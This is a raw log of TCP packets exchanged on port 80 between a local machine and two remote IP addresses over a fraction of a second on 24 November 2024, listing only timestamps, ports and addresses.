Nov 24, 2024 14:24:32.120842934 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.120889902 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.122534037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.122579098 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.122653008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.122698069 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.124557972 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.124604940 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.124643087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.124690056 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.126455069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.126502991 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.126580000 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.126627922 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.128288984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.128338099 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.128432989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.128478050 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.130181074 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.130228996 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.130295038 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.130342007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.131932020 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.131978989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.132040977 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.132086039 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.133783102 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.133831024 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.133867025 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.133913994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.135581017 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.135627985 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.135679007 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.135725021 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.137419939 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.137466908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.137552023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.137597084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.139116049 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.139163971 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.139247894 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.139293909 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.140888929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.140937090 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.141091108 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.141211987 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.142668962 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.142714977 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.142781019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.142826080 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.144438982 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.144484997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.144567966 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.144613028 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.146213055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.146260023 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.146339893 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.146387100 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.147983074 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.148031950 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.148338079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.148389101 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.149945021 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.149991035 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.150165081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.150212049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.151813030 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.151866913 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.151933908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.151981115 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.153404951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.153453112 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.153455973 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.153501987 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.153536081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.153544903 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.153593063 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.155117989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.155165911 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.155179024 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.155225039 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.156811953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.156860113 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.156929970 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.156975031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.158595085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.158643961 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.158680916 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.158725023 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.160357952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.160404921 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.160475969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.160522938 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.162128925 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.162177086 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.162257910 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.162306070 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.163944960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.163991928 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.164071083 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.164118052 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.165713072 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.165759087 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.165823936 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.165869951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.167607069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.167654037 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.167745113 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.167792082 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.169887066 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.169934034 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.170016050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.170062065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.170989037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.171036005 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.171072960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.171117067 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.172776937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.172826052 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.172904015 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.172947884 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.174606085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.174653053 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.175878048 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.175923109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.176513910 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.176561117 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.176646948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.176692963 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.178131104 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.178179026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.178251028 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.178297043 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.179874897 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.179923058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.179960012 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.180003881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.181644917 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.181694031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.181773901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.181821108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.183343887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.183422089 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.183433056 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.183484077 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.183509111 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.183536053 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.183557034 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.184314013 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.185060978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.185108900 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.185172081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.185218096 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.186901093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.186948061 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.187024117 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.187069893 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.188683033 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.188730001 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.188796997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.188842058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.190422058 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.190474987 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.190588951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.190634012 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.192293882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.192338943 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.192375898 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.192420006 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.194096088 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.194144964 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.194180965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.194226980 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.195738077 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.195784092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.195847988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.195892096 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.197566986 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.197612047 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.197673082 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.197717905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.215466022 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.215651035 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.215665102 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.216298103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.216347933 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.305123091 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.305135012 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.305188894 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.307926893 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.308023930 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.308087111 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.308614969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.308669090 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.308759928 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.308810949 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.309636116 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.309686899 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.309699059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.309742928 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.310940027 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.310986996 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.311043024 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.311139107 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.312284946 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.312484980 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.312547922 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.313565969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.313585043 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.313621998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.313654900 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.314865112 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.314932108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.314966917 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.315020084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.316174984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.316220045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.316255093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.316299915 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.317490101 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.317531109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.317682028 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.317723989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.318706036 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.318754911 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.318799973 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.318850040 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.320015907 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.320059061 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.320072889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.320115089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.321239948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.321336031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.321381092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.322436094 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.322479010 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.322542906 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.322587013 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.323684931 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.323776960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.323827982 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.324970961 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.325026989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.325052023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.325099945 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.326201916 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.326253891 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.326317072 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.326355934 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.327461004 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.327563047 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.327610016 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.328722954 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.328800917 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.328804016 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.328841925 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.330002069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.330079079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.330138922 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.331141949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.331191063 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.331254005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.331296921 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.332437038 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.332487106 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.332520962 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.332564116 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.333657026 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.333708048 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.333731890 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.333818913 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.334875107 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.335051060 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.335097075 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.336123943 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.336261988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.336323977 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.337397099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.337445974 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.337485075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.337528944 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.338593006 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.338665962 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.338701963 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.338742971 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.339858055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.339903116 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.340068102 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.340107918 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.341080904 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.341135979 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.341192007 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.341238976 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.342509985 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.342554092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.342670918 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.342715979 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.343729019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.343775988 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.343849897 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.343894958 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.344921112 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.344965935 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.345118999 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.345165014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.346088886 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.346133947 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.346194029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.346237898 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.347337008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.347381115 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.347451925 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.347496986 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.348582029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.348624945 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.348690987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.348735094 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.349808931 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.349853039 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.349917889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.349963903 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.351028919 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.351074934 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.351157904 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.351203918 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.352276087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.352320910 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.352390051 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.352433920 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.353534937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.353581905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.353636980 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.353677988 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.354752064 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.354799032 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.354887962 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.354931116 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.356004953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.356050014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.356112957 CET	80	49815	185.215.113.16	192.168.2.4
